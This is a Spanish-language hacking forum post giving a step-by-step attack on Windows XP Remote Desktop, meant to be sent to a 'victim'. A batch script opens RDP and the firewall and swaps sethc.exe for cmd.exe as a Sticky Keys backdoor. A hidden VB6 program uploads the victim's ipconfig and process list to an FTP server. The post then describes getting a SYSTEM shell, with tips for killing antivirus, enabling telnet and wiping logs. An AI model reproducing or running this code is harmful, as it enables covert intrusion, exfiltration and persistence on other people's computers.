Se trata de aprovechar un bug del Escritorio remoto de windows.
Primero prepararemos el archvivo para enviarlo a nuestra "victima".
Preparación:Código batch:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall reset
netsh firewall add portopening TCP 3389 "Escritorio Remoto" enable all
copy /y "%windir%\system32\cmd.exe" "%windir%\system32\sethc.exe">nul 2>&1
exit
Explicación:reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Activa el escritorio Remoto (No necesita Reiniciar)
netsh firewall reset //Resetea el Firewall, por si tiene no permitir excepciones...
netsh firewall add portopening TCP 3389 "Escritorio Remoto" enable all //Añade el Puerto del Escritorio Remoto a las excepciones...
copy /y "%windir%\system32\cmd.exe" "%windir%\system32\sethc.exe">nul 2>&1 //Sustituye sethc.exe por cmd.exe, así al pulsar 5 veces Shift, aparecerá el cmd
Compilando...Compilamos en modo ghost (Quick Batch File Compiler, o similar), y ya solo nos queda averiguar la IP.
Como a mi, no se por qué, no me anda enviar archivos por FTP via .bat, lo he hecho con VB6 (Si no os va enviar por FTP archivos, os pasaré el code VB6).
Buscar, FTP con Batch, Conseguir IP por MSN,Get IP,IP por correo... Google...
Código de FTP en VB6
'declaraciones
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_DEFAULT_FTP_PORT = 21
Const INTERNET_SERVICE_FTP = 1
Const PassiveConnection As Boolean = True
Const INTERNET_FLAG_PASSIVE = &H8000000
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0
Dim hConnection, hOpen, Num As Long
Dim ruta As String
Private Sub Form_Load()
On Error Resume Next
ruta = Environ$("homedrive") & "\Sys"
Kill ruta & "\*.*"
RmDir ruta
MkDir ruta
'crea un nuevo directorio, para que no falle :)
Shell "cmd.exe /c tasklist>" & ruta & "\ip.txt", vbHide 'tasklist, para ver el AV >:D
Timer2.Enabled = True
End Sub
Private Sub Timer1_Timer()
'Subir el archivo a un ftp
hOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
DoEvents
hConnection = InternetConnect(hOpen, "ftp.servidor.com", INTERNET_DEFAULT_FTP_PORT, "usuario", "password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
DoEvents
FtpSetCurrentDirectory hConnection, "\"
DoEvents
FtpPutFile hConnection, ruta & "\ip.txt", "ip.txt", FTP_TRANSFER_TYPE_UNKNOWN, 0
DoEvents
InternetCloseHandle hConnection
InternetCloseHandle hOpen
Kill ruta & "\ip.txt"
RmDir ruta
Timer1.Enabled = False
End
End Sub
Private Sub Timer2_Timer()
Shell "cmd.exe /c ipconfig>>" & ruta & "\ip.txt", vbHide
Timer2.Enabled = False
Timer1.Enabled = True
End Sub
Añadir 2 Timers (Timer1 y Timer2 con propiedad Enable False e Interval 3000)
Añadir propiedad Visible = false
Ya lo tenemos todo listo.
Pasando a la Acción:Una vez haya ejecutado el archivo compilado, Vamos a Inicio>Todos los Programas>Accesorios>Conexión a Escritorio Remoto
Ponemos la IP... Si todo va bien, no saldrá un cartelito para poner User y Pass, pues bien... ¿Han visto mi post de admin con Sticky Keys?
http://www.e-r00t.org/foro/index.php?topic=4104.0Vamos a usar la misma técnica, pulsamos 5 veces Shift (Flechita de la Izq. para mayúsculas) y ¡¡Tachan!! se nos habre un cmd.
Ponemos explorer.exe...
Esperamos a que cargue...
Y Somos usuarios System !!!
Ala, a disfrutar

Nota: Es preferible, si teneis sticky keys en vuestro ordenador, desactivarlo ya que podría dar lugar a confisión
Nota2: Si la victima tiene otro Firewall, Antivirus... podeis añadir un pequeño AV/Firewall-Killer. podeis hacer tambien tasklist>>ip.txt así os mandará la lista de procesos por FTP y sabreis que Av/Firewall tiene.
Nota3: Estoy trabajando en una versión para Vista (Puto UAC...)
P.D: No os olvideis, que podeis activar el servicio telnet, poner contraseña a user Administrador, y obtener shell con telnet

P.D2: Borrad los Logs con un Zapper en Batch

Testeado con dos XP Profesional en Red Lan (Máquina Virtual)
Pronto Subo el Video
